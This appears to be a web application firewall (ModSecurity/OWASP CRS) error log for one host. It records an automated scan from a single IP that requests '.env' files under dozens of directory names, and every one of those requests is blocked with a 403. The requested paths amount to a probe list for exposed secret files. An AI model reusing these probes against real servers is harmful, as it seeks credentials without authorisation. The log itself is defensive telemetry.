[Wed Feb 25 06:05:22.248473 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNQAAAAY&quot;]
[Wed Feb 25 06:05:22.322193 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packed/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNgAAAAY&quot;]
[Wed Feb 25 06:05:22.322474 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNgAAAAY&quot;]
[Wed Feb 25 06:05:22.322648 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNgAAAAY&quot;]
[Wed Feb 25 06:05:22.393638 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /page-editor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNwAAAAY&quot;]
[Wed Feb 25 06:05:22.393920 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNwAAAAY&quot;]
[Wed Feb 25 06:05:22.394093 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaNwAAAAY&quot;]
[Wed Feb 25 06:05:22.459427 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOAAAAAY&quot;]
[Wed Feb 25 06:05:22.459662 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOAAAAAY&quot;]
[Wed Feb 25 06:05:22.459835 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOAAAAAY&quot;]
[Wed Feb 25 06:05:22.486027 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /parity/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOQAAAAY&quot;]
[Wed Feb 25 06:05:22.486329 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOQAAAAY&quot;]
[Wed Feb 25 06:05:22.486506 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOQAAAAY&quot;]
[Wed Feb 25 06:05:22.487202 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW4wAAAAI&quot;]
[Wed Feb 25 06:05:22.487427 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW4wAAAAI&quot;]
[Wed Feb 25 06:05:22.487569 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW4wAAAAI&quot;]
[Wed Feb 25 06:05:22.528010 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /passportjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOgAAAAY&quot;]
[Wed Feb 25 06:05:22.528270 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOgAAAAY&quot;]
[Wed Feb 25 06:05:22.528436 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOgAAAAY&quot;]
[Wed Feb 25 06:05:22.621719 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /patchwork/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOwAAAAY&quot;]
[Wed Feb 25 06:05:22.622007 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOwAAAAY&quot;]
[Wed Feb 25 06:05:22.622184 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaOwAAAAY&quot;]
[Wed Feb 25 06:05:22.652491 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /manual/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW5gAAAAI&quot;]
[Wed Feb 25 06:05:22.652752 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW5gAAAAI&quot;]
[Wed Feb 25 06:05:22.652911 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW5gAAAAI&quot;]
[Wed Feb 25 06:05:22.655406 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPAAAAAY&quot;]
[Wed Feb 25 06:05:22.655651 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPAAAAAY&quot;]
[Wed Feb 25 06:05:22.655808 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPAAAAAY&quot;]
[Wed Feb 25 06:05:22.705409 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /master/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW5wAAAAI&quot;]
[Wed Feb 25 06:05:22.705677 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW5wAAAAI&quot;]
[Wed Feb 25 06:05:22.705848 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ6DElIszkcv5YapLJKW5wAAAAI&quot;]
[Wed Feb 25 06:05:22.730291 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pfbe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPQAAAAY&quot;]
[Wed Feb 25 06:05:22.730576 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ6DEvjNQqDNAmB2zjqaPQAAAAY&quot;]
